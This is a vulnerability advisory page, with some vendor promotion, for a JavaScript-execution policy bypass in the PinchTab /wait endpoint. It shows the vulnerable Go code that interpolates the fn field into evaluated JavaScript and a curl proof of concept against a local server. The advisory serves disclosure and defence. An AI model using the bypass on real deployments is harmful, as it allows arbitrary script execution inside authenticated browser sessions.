Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

GHSA-w5pc-m664-r62v pinchtab

GHSA-w5pc-m664-r62v is a Code Injection vulnerability in github.com/pinchtab/pinchtab/cmd/pinchtab. No vendor fix is recorded yet; mitigation options are listed below.

A PinchTab Security Policy Bypass in /wait Allows Arbitrary JavaScript Execution

Also known asCVE-2026-33622GO-2026-4824
Published
Mar 24, 2026
Updated
Mar 27, 2026
Affected
2 pkgs
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-w5pc-m664-r62v.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

2 pkgs affected
🐹github.com/pinchtab/pinchtab/cmd/pinchtab🐹github.com/pinchtab/pinchtab

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.

POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.

This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.

The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.

Details

Issue 1 — /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5): The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:

// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
    return h != nil && h.Config != nil && h.Config.AllowEvaluate
}

func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
    if !h.evaluateEnabled() {
        httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
            "setting": "security.allowEvaluate",
        })
        return
    }
    // ...
}

In the same releases, /wait did not apply that guard before evaluating fn:

// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
    mode := req.mode()
    if mode == "" {
        httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
        return
    }

    // No evaluateEnabled() check here in affected releases
    // ...
}

Issue 2 — fn mode evaluated caller-supplied JavaScript directly: The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:

// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
    js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
    matchLabel = "fn"

// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))

Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.

Issue 3 — Current worktree contains an unreleased fix: The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.

PoC

Prerequisites

  • PinchTab v0.8.3, v0.8.4, or v0.8.5
  • A configured API token
  • security.allowEvaluate = false
  • A reachable tab context, created by the caller or already present

Step 1 — Confirm /evaluate is blocked by policy

curl -s -X POST http://localhost:9867/evaluate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"expression":"1+1"}'

Expected:

{
  "code": "evaluate_disabled"
}

Step 2 — Open a tab

curl -s -X POST http://localhost:9867/navigate \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://example.com"}'

Example result:

{
  "tabId": "<TAB_ID>",
  "title": "Example Domain",
  "url": "https://example.com/"
}

Step 3 — Execute JavaScript through /wait using fn mode

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"(function(){window._poc_executed=true;return true})()",
    "timeout":5000
  }'

Example result:

{
  "waited": true,
  "elapsed": 1,
  "match": "fn"
}

Step 4 — Verify the side effect

curl -s -X POST http://localhost:9867/wait \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "tabId":"<TAB_ID>",
    "fn":"window._poc_executed === true",
    "timeout":3000
  }'

Example result:

{
  "waited": true,
  "elapsed": 0,
  "match": "fn"
}

Observation

  1. /evaluate returns evaluate_disabled when security.allowEvaluate is off.
  2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases.
  3. The first /wait request introduces a side effect in page state.
  4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.

Impact

  1. Bypass of the explicit security.allowEvaluate control in v0.8.3 through v0.8.5.
  2. Arbitrary JavaScript execution in the reachable browser tab context for callers who already possess the server API token.
  3. Ability to read or modify page state and act within authenticated browser sessions available to that tab context.
  4. Inconsistent security boundaries between /evaluate and /wait, making the configured execution policy unreliable.
  5. This is not an unauthenticated issue. Practical risk depends on who can access the API and whether the deployment exposes tabs containing sensitive authenticated state.

Suggested Remediation

  1. Make fn mode in /wait enforce the same policy check as /evaluate.
  2. Keep non-code wait modes available when JavaScript evaluation is disabled.
  3. Add regression coverage so the policy boundary remains consistent across endpoints.

Affected Packages

2 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/pinchtab/pinchtab/cmd/pinchtab0.8.3No fix
🐹Gogithub.com/pinchtab/pinchtab0.8.3No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/pinchtab/pinchtab/cmd/pinchtab, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/pinchtab/pinchtab/cmd/pinchtab has shipped for GHSA-w5pc-m664-r62v yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w5pc-m664-r62v can be triaged on real exposure rather than presence alone.

Tailored to GHSA-w5pc-m664-r62v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary PinchTab `v0.8.3` through `v0.8.5` allow arbitrary JavaScript execution through `POST /wait` and `POST /tabs/{id}/wait` when the request uses `fn` mode, even if `security.allowEvaluate` is disabled. `POST /evaluate` correctly enforces the `security.allowEvaluate` guard, which is disabled by default. However, in the affected releases, `POST /wait` accepted a user-controlled `fn` expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy. This is a security-policy bypass rather than a separate authentication
O3 Security · Impact-Aware SCA

Is GHSA-w5pc-m664-r62v in your dependencies?

O3 Security finds GHSA-w5pc-m664-r62v across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-w5pc-m664-r62v: pinchtab Auth Bypass | O3 Security